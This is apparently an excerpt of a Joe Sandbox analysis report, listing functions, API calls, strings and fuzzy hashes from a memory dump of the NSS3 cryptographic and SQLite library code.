Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: DebugPrintR_snprintf__acrt_iob_funcabort$BreakCriticalCurrentEnterExplodeFlushOutputR_vsmprintfR_vsnprintfSectionStringThreadTime__stdio_common_vfprintffflush
String ID: Aborting$Assertion failure: %s, at %s:%d
API String ID: 3905088656-1374795319
Opcode ID: 4f1484c5cfdd2dfe46b83b3a09a7acd77e8178ea501b38ae86fa81a12b99f6ee
Instruction ID: 0be977a3f73f7476379215e569672a62bb06d9610ffe25a0be0c062c08508a77
Opcode Fuzzy Hash: 4f1484c5cfdd2dfe46b83b3a09a7acd77e8178ea501b38ae86fa81a12b99f6ee
Instruction Fuzzy Hash: 06F0C8B59002647BDE013BA0DC49C9B3E3DDF4A7B4F008424FD0957602DA76E92496B3

Function 6CB04DB0 Relevance: 16.9, APIs: 11, Instructions: 395memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000400), ref: 6CB04DCB

Part of subcall function 6CAF0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CA987ED,00000800,6CA8EF74,00000000), ref: 6CAF1000
Part of subcall function 6CAF0FF0: PR_NewLock.NSS3(?,00000800,6CA8EF74,00000000), ref: 6CAF1016
Part of subcall function 6CAF0FF0: PL_InitArenaPool.NSS3(00000000,security,6CA987ED,00000008,?,00000800,6CA8EF74,00000000), ref: 6CAF102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000001C), ref: 6CB04DE1

Part of subcall function 6CAF10C0: TlsGetValue.KERNEL32(?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF10F3
Part of subcall function 6CAF10C0: EnterCriticalSection.KERNEL32(?,?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF110C
Part of subcall function 6CAF10C0: PL_ArenaAllocate.NSS3(?,?,?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF1141
Part of subcall function 6CAF10C0: PR_Unlock.NSS3(?,?,?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF1182
Part of subcall function 6CAF10C0: TlsGetValue.KERNEL32(?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF119C

PORT_ArenaAlloc_Util.NSS3(?,0000001C), ref: 6CB04DFF
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CB04E59

Part of subcall function 6CAEFAB0: free.MOZGLUE(?,-00000001,?,?,6CA8F673,00000000,00000000), ref: 6CAEFAC7

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6CBC300C,00000000), ref: 6CB04EB8
SECOID_FindOID_Util.NSS3(?), ref: 6CB04EFF
memcmp.VCRUNTIME140(?,00000000,00000000), ref: 6CB04F56
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CB0521A

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Arena_Item_Value$AllocateCriticalDecodeEnterFindFreeInitLockPoolQuickSectionUnlockZfreecallocfreememcmp
String ID:
API String ID: 1025791883-0
Opcode ID: d97ef10c4f4d3cbb1211b4d1e2161965a03c4312f41a7929aeb340a57ec19a87
Instruction ID: d431e8de08bb43ecacb8514916998daa1a08ab59271b8c18242f3ee9516ad88f
Opcode Fuzzy Hash: d97ef10c4f4d3cbb1211b4d1e2161965a03c4312f41a7929aeb340a57ec19a87
Instruction Fuzzy Hash: 18F1BC71F002498BDB08CF54D8407AEBBB2FF44358F254129E815ABB81EB75E986CF95

Function 6CB00C60 Relevance: 16.7, APIs: 11, Instructions: 153memoryCOMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(6CB02C2A), ref: 6CB00C81

Part of subcall function 6CAEBE30: SECOID_FindOID_Util.NSS3(6CAA311B,00000000,?,6CAA311B,?), ref: 6CAEBE44

Part of subcall function 6CAD8500: SECOID_GetAlgorithmTag_Util.NSS3(6CAD95DC,00000000,00000000,00000000,?,6CAD95DC,00000000,00000000,?,6CAB7F4A,00000000,?,00000000,00000000), ref: 6CAD8517

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CB00CC4

Part of subcall function 6CAEFAB0: free.MOZGLUE(?,-00000001,?,?,6CA8F673,00000000,00000000), ref: 6CAEFAC7

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6CB00CD5
PORT_ZAlloc_Util.NSS3(0000101C), ref: 6CB00D1D
PK11_GetBlockSize.NSS3(-00000001,00000000), ref: 6CB00D3B
PK11_CreateContextBySymKey.NSS3(-00000001,00000104,?,00000000), ref: 6CB00D7D
free.MOZGLUE(00000000), ref: 6CB00DB5
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CB00DC1
free.MOZGLUE(00000000), ref: 6CB00DF7
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CB00E05
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6CB00E0F

Part of subcall function 6CAD95C0: SECOID_FindOIDByTag_Util.NSS3(00000000,?,00000000,?,6CAB7F4A,00000000,?,00000000,00000000), ref: 6CAD95E0
Part of subcall function 6CAD95C0: PK11_GetIVLength.NSS3(?,?,?,00000000,?,6CAB7F4A,00000000,?,00000000,00000000), ref: 6CAD95F5
Part of subcall function 6CAD95C0: SECOID_GetAlgorithmTag_Util.NSS3(00000000), ref: 6CAD9609
Part of subcall function 6CAD95C0: SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6CAD961D
Part of subcall function 6CAD95C0: PK11_GetInternalSlot.NSS3 ref: 6CAD970B
Part of subcall function 6CAD95C0: PK11_FreeSymKey.NSS3(00000000), ref: 6CAD9756
Part of subcall function 6CAD95C0: PK11_GetIVLength.NSS3(?), ref: 6CAD9767
Part of subcall function 6CAD95C0: SECITEM_DupItem_Util.NSS3(00000000), ref: 6CAD977E
Part of subcall function 6CAD95C0: SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CAD978E

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: Util$K11_$Tag_$Item_$FindZfree$Algorithmfree$ContextLength$Alloc_BlockCreateDestroyFreeInternalSizeSlot
String ID:
API String ID: 3136566230-0
Opcode ID: 553a506b617271cf2e126c22c1165939e2598e3f40198a03f97337c79e0cdc9d
Instruction ID: c0e7bc7cbded0564194bcf8fca6101b1d626b146b20146e1a8c1ef04fb387274
Opcode Fuzzy Hash: 553a506b617271cf2e126c22c1165939e2598e3f40198a03f97337c79e0cdc9d
Instruction Fuzzy Hash: 7541C4B5A00296ABEB009F64ED45BAF7A74EF44308F140128ED1567741E735AA58CBF2

Function 6CA94FD0 Relevance: 16.6, APIs: 11, Instructions: 112COMMON

Download Yara Rule

APIs

PR_NewLock.NSS3(00000001,00000000,6CBE0148,?,6CAA6FEC), ref: 6CA9502A
PR_NewLock.NSS3(00000001,00000000,6CBE0148,?,6CAA6FEC), ref: 6CA95034
PL_NewHashTable.NSS3(00000000,6CAEFE80,6CAEFD30,6CB3C350,00000000,00000000,00000001,00000000,6CBE0148,?,6CAA6FEC), ref: 6CA95055
PL_NewHashTable.NSS3(00000000,6CAEFE80,6CAEFD30,6CB3C350,00000000,00000000,?,00000001,00000000,6CBE0148,?,6CAA6FEC), ref: 6CA9506D

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: HashLockTable
String ID:
API String ID: 3862423791-0
Opcode ID: 576b85f5a852047888a1d6c09b127501c10ab32a7bbe78d7e305a6fbd0d22c93
Instruction ID: 0f223554030c237511bfcde8ad7526086ff40b4c0dc773416c00089c8785fec9
Opcode Fuzzy Hash: 576b85f5a852047888a1d6c09b127501c10ab32a7bbe78d7e305a6fbd0d22c93
Instruction Fuzzy Hash: 8C31F7B2A412A05BEB14DE69E80FB4B36B89B17749F150214E92583740D334C684CBE6

Function 6CA32E50 Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 282COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,?), ref: 6CA32F3D
memset.VCRUNTIME140(?,00000000,?), ref: 6CA32FB9
memcpy.VCRUNTIME140(?,00000000,?), ref: 6CA33005
memcpy.VCRUNTIME140(?,?,?), ref: 6CA330EE
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CA33131
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001086C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CA33178

Strings

database corruption, xrefs: 6CA3316C
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CA33022, 6CA33156, 6CA33162, 6CA3318A, 6CA33196, 6CA331A2, 6CA331AE, 6CA331BA, 6CA331C6
%s at line %d of [%.10s], xrefs: 6CA33171

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: memcpy$memsetsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 984749767-598938438
Opcode ID: ee0bffda17e9e477e6ea1cb387a44bbeb3b2f444baf7213394061d4e9109d58d
Instruction ID: 984955ff52bbf0293ad03e1982dfe430c4cb5e7c8cc6be66177a150476cfc848
Opcode Fuzzy Hash: ee0bffda17e9e477e6ea1cb387a44bbeb3b2f444baf7213394061d4e9109d58d
Instruction Fuzzy Hash: F5B1A470E092259BCF08CF9DC895AEEB7B1BF48304F245169E849F7B45D3749982CBA0

Function 6CB07F90 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 167COMMON

Download Yara Rule

APIs

PR_GetMonitorEntryCount.NSS3(?,?,00000002,00000050,?,?,?,?,?,00000000), ref: 6CB07FB2

Part of subcall function 6CA8BA40: TlsGetValue.KERNEL32 ref: 6CA8BA51
Part of subcall function 6CA8BA40: TlsGetValue.KERNEL32 ref: 6CA8BA6B
Part of subcall function 6CA8BA40: EnterCriticalSection.KERNEL32 ref: 6CA8BA83
Part of subcall function 6CA8BA40: TlsGetValue.KERNEL32 ref: 6CA8BAA1
Part of subcall function 6CA8BA40: _PR_MD_UNLOCK.NSS3 ref: 6CA8BAC0

PR_EnterMonitor.NSS3(?,?,?,00000002,00000050,?,?,?,?,?,00000000), ref: 6CB07FD4

Part of subcall function 6CB59090: TlsGetValue.KERNEL32 ref: 6CB590AB
Part of subcall function 6CB59090: TlsGetValue.KERNEL32 ref: 6CB590C9
Part of subcall function 6CB59090: EnterCriticalSection.KERNEL32 ref: 6CB590E5
Part of subcall function 6CB59090: TlsGetValue.KERNEL32 ref: 6CB59116
Part of subcall function 6CB59090: LeaveCriticalSection.KERNEL32 ref: 6CB5913F

Part of subcall function 6CB09430: PR_SetError.NSS3(FFFFD0AC,00000000), ref: 6CB09466

PR_ExitMonitor.NSS3(?), ref: 6CB0801B
PR_EnterMonitor.NSS3(?), ref: 6CB08034
TlsGetValue.KERNEL32 ref: 6CB080A2
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CB080C0
PR_ExitMonitor.NSS3(?), ref: 6CB0811C
PR_ExitMonitor.NSS3(?), ref: 6CB08134

Strings

), xrefs: 6CB080DB

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: Value$Monitor$Enter$CriticalExitSection$Error$CountEntryLeave
String ID: )
API String ID: 3537756449-2427484129
Opcode ID: 59a9f2442da6db41872423b644592cba7545c1176d282a3f22d534f9449b43bd
Instruction ID: 5dcef012eb11ac53756ad28b291aab67241e6c37e0aeb20b4da570621f9679cb
Opcode Fuzzy Hash: 59a9f2442da6db41872423b644592cba7545c1176d282a3f22d534f9449b43bd
Instruction Fuzzy Hash: 2C512571B007849BEB219F349C057EBBFB4EF4630CF084529D95957A42EB32AA58C793

Function 6CAAFCA0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 99stringmemoryCOMMON

Download Yara Rule

APIs

PK11_IsInternalKeySlot.NSS3(?,?,00000000,?), ref: 6CAAFCBD
strchr.VCRUNTIME140(?,0000003A,?,?,00000000,?), ref: 6CAAFCCC
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,00000000,?), ref: 6CAAFCEF
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CAAFD32
PORT_ArenaAlloc_Util.NSS3(00000000,00000001), ref: 6CAAFD46
PORT_Alloc_Util.NSS3(00000001), ref: 6CAAFD51
memcpy.VCRUNTIME140(00000000,00000000,-00000001), ref: 6CAAFD6D
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CAAFD84

Strings

:, xrefs: 6CAAFD78

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: Alloc_Utilmemcpystrlen$ArenaInternalK11_Slotstrchr
String ID: :
API String ID: 183580322-336475711
Opcode ID: 6b01cbbeec5e53cf722db012dedf94c099d5da7b2fd0114ccdec8c6525f24190
Instruction ID: bced794969f7d4eb80911756558b3a2137f391209acc889297cf720dd6d01d90
Opcode Fuzzy Hash: 6b01cbbeec5e53cf722db012dedf94c099d5da7b2fd0114ccdec8c6525f24190
Instruction Fuzzy Hash: F93102B29002455BEB058BE4DC00BAF77A8EF5030CF180029DC54A7B00E372E99AC7D2

Function 6CAC6C40 Relevance: 15.8, APIs: 5, Strings: 4, Instructions: 87COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DigestInit), ref: 6CAC6C66
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CAC6C94
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CAC6CA3

Part of subcall function 6CBAD930: PL_strncpyz.NSS3(?,?,?), ref: 6CBAD963

PR_LogPrint.NSS3(?,00000000), ref: 6CAC6CB9
PR_LogPrint.NSS3( pMechanism = 0x%p,?), ref: 6CAC6CD5

Strings

hSession = 0x%x, xrefs: 6CAC6C7E, 6CAC6C8E
C_DigestInit, xrefs: 6CAC6C61
(CK_INVALID_HANDLE), xrefs: 6CAC6C9C
pMechanism = 0x%p, xrefs: 6CAC6CD0

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pMechanism = 0x%p$ (CK_INVALID_HANDLE)$C_DigestInit
API String ID: 1003633598-3690128261
Opcode ID: 60e6a8c50ab73c9a3707f95f4d0ced06eea5d30e7c0b6668baed6a449a960d1a
Instruction ID: 2248c6aa234eafeee249c4c1d00b02805e5857ce2940833fe4239e7199b636c4
Opcode Fuzzy Hash: 60e6a8c50ab73c9a3707f95f4d0ced06eea5d30e7c0b6668baed6a449a960d1a
Instruction Fuzzy Hash: 3321F5357011949BDB00DB64FE88BAE37B5EB42328F484029E81A97B11DF309D8CCB97

Function 6CAC9DD0 Relevance: 15.8, APIs: 5, Strings: 4, Instructions: 85COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_SessionCancel), ref: 6CAC9DF6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CAC9E24
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CAC9E33

Part of subcall function 6CBAD930: PL_strncpyz.NSS3(?,?,?), ref: 6CBAD963

PR_LogPrint.NSS3(?,00000000), ref: 6CAC9E49
PR_LogPrint.NSS3( flags = 0x%x,?), ref: 6CAC9E65

Strings

hSession = 0x%x, xrefs: 6CAC9E0E, 6CAC9E1E
flags = 0x%x, xrefs: 6CAC9E60
(CK_INVALID_HANDLE), xrefs: 6CAC9E2C
C_SessionCancel, xrefs: 6CAC9DF1

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: flags = 0x%x$ hSession = 0x%x$ (CK_INVALID_HANDLE)$C_SessionCancel
API String ID: 1003633598-1678415578
Opcode ID: 9f2e8e662c89654e4bea6edde07766df6945c28c20c41f219942e128a1ca3284
Instruction ID: 7742a286c99c8e7536d10d710856c23ebe887c3b313c0aafabcf5738e3dc0191
Opcode Fuzzy Hash: 9f2e8e662c89654e4bea6edde07766df6945c28c20c41f219942e128a1ca3284
Instruction Fuzzy Hash: B321F6757012849FDB009B68FE88BAE37B9EB4271DF484024E919A7711DF309D89C7A7

Function 6CA90F30 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 85memoryCOMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6CA90F62
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6CA90F84

Part of subcall function 6CAEB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CBC18D0,?), ref: 6CAEB095

SEC_QuickDERDecodeItem_Util.NSS3(?,6CAAF59B,6CBB890C,?), ref: 6CA90FA8
PORT_Alloc_Util.NSS3(4C8B1474), ref: 6CA90FC1

Part of subcall function 6CAF0BE0: malloc.MOZGLUE(6CAE8D2D,?,00000000,?), ref: 6CAF0BF8
Part of subcall function 6CAF0BE0: TlsGetValue.KERNEL32(6CAE8D2D,?,00000000,?), ref: 6CAF0C15

memcpy.VCRUNTIME140(00000000,?,4C8B1474), ref: 6CA90FDB
PR_CallOnce.NSS3(6CBF2AA4,6CAF12D0), ref: 6CA90FEF
PL_FreeArenaPool.NSS3(?), ref: 6CA91001
PL_FinishArenaPool.NSS3(?), ref: 6CA91009

Strings

security, xrefs: 6CA90F5C

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: ArenaPoolUtil$DecodeItem_Quick$Alloc_CallErrorFinishFreeInitOnceValuemallocmemcpy
String ID: security
API String ID: 2061345354-3315324353
Opcode ID: 473eb7ad2a5045e6b72ed11c60efd40d2a76273aabe888af1fdd73de4cc928ea
Instruction ID: 2eeb749b59be57c111f2189f4dd64e02386804a8dd8e16e9fe0fa30c374809e3
Opcode Fuzzy Hash: 473eb7ad2a5045e6b72ed11c60efd40d2a76273aabe888af1fdd73de4cc928ea
Instruction Fuzzy Hash: EA21D5B5904344ABE7009F24DD41AAEB7B8EF48658F048519FC6897701F731D69ACBD2

Function 6CA96DB0 Relevance: 15.2, APIs: 10, Instructions: 200memoryCOMMON

Download Yara Rule

APIs

SECITEM_ArenaDupItem_Util.NSS3(?,6CA97D8F,6CA97D8F,?,?), ref: 6CA96DC8

Part of subcall function 6CAEFDF0: PORT_ArenaAlloc_Util.NSS3(?,0000000C,00000000,?,?), ref: 6CAEFE08
Part of subcall function 6CAEFDF0: PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?), ref: 6CAEFE1D
Part of subcall function 6CAEFDF0: memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?), ref: 6CAEFE62

PORT_ArenaAlloc_Util.NSS3(?,00000010,?,?,6CA97D8F,?,?), ref: 6CA96DD5

Part of subcall function 6CAF10C0: TlsGetValue.KERNEL32(?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF10F3
Part of subcall function 6CAF10C0: EnterCriticalSection.KERNEL32(?,?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF110C
Part of subcall function 6CAF10C0: PL_ArenaAllocate.NSS3(?,?,?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF1141
Part of subcall function 6CAF10C0: PR_Unlock.NSS3(?,?,?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF1182
Part of subcall function 6CAF10C0: TlsGetValue.KERNEL32(?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF119C

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6CBB8FA0,00000000,?,?,?,?,6CA97D8F,?,?), ref: 6CA96DF7

Part of subcall function 6CAEB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CBC18D0,?), ref: 6CAEB095

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6CA96E35

Part of subcall function 6CAEFDF0: PORT_Alloc_Util.NSS3(0000000C,00000000,?,?), ref: 6CAEFE29
Part of subcall function 6CAEFDF0: PORT_Alloc_Util.NSS3(?,?,?,?), ref: 6CAEFE3D
Part of subcall function 6CAEFDF0: free.MOZGLUE(00000000,?,?,?,?), ref: 6CAEFE6F

PORT_ArenaAlloc_Util.NSS3(?,0000005C), ref: 6CA96E4C

Part of subcall function 6CAF10C0: PL_ArenaAllocate.NSS3(?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF116E

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6CBB8FE0,00000000), ref: 6CA96E82

Part of subcall function 6CA96AF0: SECITEM_ArenaDupItem_Util.NSS3(00000000,6CA9B21D,00000000,00000000,6CA9B219,?,6CA96BFB,00000000,?,00000000,00000000,?,?,?,6CA9B21D), ref: 6CA96B01
Part of subcall function 6CA96AF0: SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,00000000), ref: 6CA96B8A

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6CA96F1E
PORT_ArenaAlloc_Util.NSS3(?,0000005C), ref: 6CA96F35
SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6CBB8FE0,00000000), ref: 6CA96F6B
PR_SetError.NSS3(FFFFE005,00000000,6CA97D8F,?,?), ref: 6CA96FE1

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
